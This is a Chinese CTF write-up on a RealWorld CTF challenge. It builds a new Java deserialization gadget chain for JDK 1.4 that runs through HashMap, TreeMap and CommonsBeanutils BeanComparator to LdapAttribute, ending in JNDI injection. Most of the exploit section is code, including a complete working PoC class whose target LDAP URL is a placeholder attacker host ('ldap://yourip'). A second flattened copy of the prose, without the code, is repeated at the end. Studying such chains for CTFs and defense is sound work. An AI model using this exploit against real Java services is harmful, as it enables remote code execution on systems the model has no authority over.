realworldctf old system复盘(jdk1.4 getter jndi gadget)
字数 1467 2025-08-18 11:36:00

JDK 1.4环境下利用CommonsBeanutils和JNDI注入的反序列化漏洞分析

0x00 漏洞背景与题目分析

本漏洞分析基于RealWorld CTF中的一道题目,主要考察在JDK 1.4环境下Gadget链的挖掘和利用。题目提供了一个包含CommonsBeanutils库的环境,但运行在JDK 1.4上,这带来了特殊的挑战。

环境限制

  • JDK版本:1.4
  • 缺少的关键类:
    • PriorityQueue(反序列化入口点)
    • TemplatesImpl(RCE执行点)

传统Gadget链失效

在标准环境下,CommonsBeanutils的利用链通常为:

PriorityQueue.readObject() -> BeanComparator.compare() -> TemplatesImpl.getOutputProperties() -> RCE

但在JDK 1.4环境下,这条链的两个关键节点都不可用。

0x01 新的Gadget链构建思路

剩余可用部分

BeanComparator.compare() -> 执行getter

新链构建目标

  1. 寻找新的反序列化入口点(替代PriorityQueue)
  2. 寻找新的RCE执行点(替代TemplatesImpl)

0x02 新的反序列化入口链

完整调用链

HashMap.readObject() -> HashMap.putForCreate() -> AbstractMap.equals() -> TreeMap.get() -> TreeMap.getEntry() -> BeanComparator.compare()

关键代码分析

private void putForCreate(K var1, V var2) {
    int var3 = var1 == null ? 0 : hash(var1.hashCode());
    int var4 = indexFor(var3, this.table.length);
    for (HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
        Object var6;
        if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1 != null && var1.equals(var6))) {
            var5.value = var2;
            return;
        }
    }
    // ...
}

触发原理

  1. HashMap反序列化时会调用putForCreate方法
  2. 该方法会检查key是否已存在,通过调用key的equals()方法
  3. 使用TreeMap作为key,其equals()方法会调用get()方法
  4. TreeMap.get()最终会调用BeanComparator.compare()

0x03 新的RCE执行点 - JNDI注入

关键发现

com.sun.jndi.ldap.LdapAttribute类的getAttributeDefinition()方法存在LDAP-JNDI注入漏洞

漏洞代码

public DirContext getAttributeDefinition() throws NamingException {
    DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
    return (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
}

调用栈分析

c_lookup:982, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:152, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:342, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:381, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:408, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:388, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:189, InitialDirContext (javax.naming.directory)
getAttributeDefinition:191, LdapAttribute (com.sun.jndi.ldap)

LDAP-JNDI注入根因

除了常见的InitialContext.lookup(),以下方法也可触发JNDI注入:

  • LdapCtx.c_lookup()
  • ComponentContext.p_lookup()
  • PartialCompositeContext.lookup()
  • GenericURLContext.lookup()
  • ldapURLContext.lookup()

0x04 EXP构造详解

完整利用链

反序列化 -> HashMap.putForCreate() -> TreeMap.equals() -> TreeMap.get() -> BeanComparator.compare() -> LdapAttribute.getAttributeDefinition() -> JNDI注入

关键构造步骤

  1. 创建LdapAttribute对象
BasicAttribute la = getGadgetObj();
  1. 设置比较器
BeanComparator bc = new BeanComparator("attributeDefinition");
  1. 构造触发对象
HashMap hm = new HashMap();
TreeMap tm1 = new TreeMap(bc);
TreeMap tm2 = new TreeMap(bc);
tm1.put("aaa", "AAA");
tm2.put(la, "BBB");
hm.put(tm1, "111");
hm.put(tm2, "222");
  1. 修复HashMap结构(确保触发equals比较):
// 通过反射修改HashMap内部结构,确保两个TreeMap会被比较
Field fi = hm.getClass().getDeclaredField("table");
fi.setAccessible(true);
Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
// ... 其他反射操作 ...

LdapAttribute对象构造方法

public static BasicAttribute getGadgetObj(){
    try {
        Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
        clazz_cons.setAccessible(true);
        BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
        
        Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
        bcu_fi.setAccessible(true);
        bcu_fi.set(la, "ldap://yourip");
        
        CompositeName cn = new CompositeName();
        cn.add("a");
        cn.add("b");
        
        Field rdn_fi = clazz.getDeclaredField("rdn");
        rdn_fi.setAccessible(true);
        rdn_fi.set(la, cn);
        
        return la;
    } catch (Exception e){
        e.printStackTrace();
    }
    return null;
}

0x05 技术要点总结

  1. JDK 1.4环境限制

    • 缺少常用Gadget类,需要寻找替代方案
    • 反序列化入口点需要重新设计
  2. 关键发现

    • LdapAttribute.getAttributeDefinition()可作为新的RCE触发点
    • JNDI注入不仅限于InitialContext.lookup()
  3. 构造技巧

    • 利用HashMap反序列化特性触发比较操作
    • 通过TreeMap的equals/get方法桥接到BeanComparator
    • 反射修改内部结构确保触发路径
  4. 防御建议

    • 升级JDK版本
    • 限制反序列化操作
    • 过滤危险的JNDI操作

0x06 完整EXP代码

import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;

public class POC1 {
    public static void main(String[] args) {
        try {
            BasicAttribute la = getGadgetObj();
            BeanComparator bc = new BeanComparator("attributeDefinition");
            
            HashMap hm = new HashMap();
            TreeMap tm1 = new TreeMap(bc);
            TreeMap tm2 = new TreeMap(bc);
            
            tm1.put("aaa", "AAA");
            tm2.put(la, "BBB");
            
            hm.put(tm1, "111");
            hm.put(tm2, "222");
            
            // 反射修改HashMap内部结构确保触发
            Field fi = hm.getClass().getDeclaredField("table");
            fi.setAccessible(true);
            Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
            int tablelength = hmentry.length;
            
            tm1.hashCode();
            Method hash_mt = hm.getClass().getDeclaredMethod("hash", new Class[]{Object.class});
            hash_mt.setAccessible(true);
            Object indexfor_arg1 = hash_mt.invoke(hm, new Object[]{(Object)(new Integer(tm1.hashCode()))});
            
            Method indexfor_mt = hm.getClass().getDeclaredMethod("indexFor", new Class[]{int.class, int.class});
            indexfor_mt.setAccessible(true);
            int final_index = Integer.parseInt(indexfor_mt.invoke(hm, new Object[]{new Integer(indexfor_arg1.toString()), new Integer(tablelength)}).toString());
            
            Map.Entry me = ((Map.Entry[])hmentry)[final_index];
            Class entryclazz = Class.forName("java.util.HashMap$Entry");
            Field key_fi = entryclazz.getDeclaredField("key");
            key_fi.setAccessible(true);
            
            Field modifierField = Field.class.getDeclaredField("modifiers");
            modifierField.setAccessible(true);
            modifierField.setInt(key_fi, key_fi.getModifiers() & ~Modifier.FINAL);
            
            key_fi.set(me, tm2.clone());
            
            // 序列化触发
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(hm);
            
            // 反序列化触发漏洞
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            HashMap hmhm = (HashMap) ois.readObject();
            
        } catch (Exception e){
            e.printStackTrace();
        }
    }
    
    public static BasicAttribute getGadgetObj(){
        try {
            Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
            Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
            clazz_cons.setAccessible(true);
            BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
            
            Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
            bcu_fi.setAccessible(true);
            bcu_fi.set(la, "ldap://yourip");
            
            CompositeName cn = new CompositeName();
            cn.add("a");
            cn.add("b");
            
            Field rdn_fi = clazz.getDeclaredField("rdn");
            rdn_fi.setAccessible(true);
            rdn_fi.set(la, cn);
            
            return la;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

0x07 总结

本漏洞展示了在受限环境(JDK 1.4)下如何通过深入分析JDK内部类和反序列化机制,构建出新的利用链。关键在于:

  1. 理解反序列化触发流程
  2. 寻找替代的JNDI注入点
  3. 巧妙利用集合类的内部比较机制
  4. 通过反射精确控制对象内部状态

这种漏洞利用方式具有很高的技术价值,同时也提醒开发者在安全开发中需要考虑各种环境下的潜在风险。

JDK 1.4环境下利用CommonsBeanutils和JNDI注入的反序列化漏洞分析 0x00 漏洞背景与题目分析 本漏洞分析基于RealWorld CTF中的一道题目,主要考察在JDK 1.4环境下Gadget链的挖掘和利用。题目提供了一个包含CommonsBeanutils库的环境,但运行在JDK 1.4上,这带来了特殊的挑战。 环境限制 JDK版本:1.4 缺少的关键类: PriorityQueue (反序列化入口点) TemplatesImpl (RCE执行点) 传统Gadget链失效 在标准环境下,CommonsBeanutils的利用链通常为: 但在JDK 1.4环境下,这条链的两个关键节点都不可用。 0x01 新的Gadget链构建思路 剩余可用部分 新链构建目标 寻找新的反序列化入口点(替代PriorityQueue) 寻找新的RCE执行点(替代TemplatesImpl) 0x02 新的反序列化入口链 完整调用链 关键代码分析 触发原理 HashMap反序列化时会调用 putForCreate 方法 该方法会检查key是否已存在,通过调用key的 equals() 方法 使用 TreeMap 作为key,其 equals() 方法会调用 get() 方法 TreeMap.get() 最终会调用 BeanComparator.compare() 0x03 新的RCE执行点 - JNDI注入 关键发现 com.sun.jndi.ldap.LdapAttribute 类的 getAttributeDefinition() 方法存在LDAP-JNDI注入漏洞 漏洞代码 调用栈分析 LDAP-JNDI注入根因 除了常见的 InitialContext.lookup() ,以下方法也可触发JNDI注入: LdapCtx.c_lookup() ComponentContext.p_lookup() PartialCompositeContext.lookup() GenericURLContext.lookup() ldapURLContext.lookup() 0x04 EXP构造详解 完整利用链 关键构造步骤 创建LdapAttribute对象 : 设置比较器 : 构造触发对象 : 修复HashMap结构 (确保触发equals比较): LdapAttribute对象构造方法 0x05 技术要点总结 JDK 1.4环境限制 : 缺少常用Gadget类,需要寻找替代方案 反序列化入口点需要重新设计 关键发现 : LdapAttribute.getAttributeDefinition() 可作为新的RCE触发点 JNDI注入不仅限于 InitialContext.lookup() 构造技巧 : 利用HashMap反序列化特性触发比较操作 通过TreeMap的equals/get方法桥接到BeanComparator 反射修改内部结构确保触发路径 防御建议 : 升级JDK版本 限制反序列化操作 过滤危险的JNDI操作 0x06 完整EXP代码 0x07 总结 本漏洞展示了在受限环境(JDK 1.4)下如何通过深入分析JDK内部类和反序列化机制,构建出新的利用链。关键在于: 理解反序列化触发流程 寻找替代的JNDI注入点 巧妙利用集合类的内部比较机制 通过反射精确控制对象内部状态 这种漏洞利用方式具有很高的技术价值,同时也提醒开发者在安全开发中需要考虑各种环境下的潜在风险。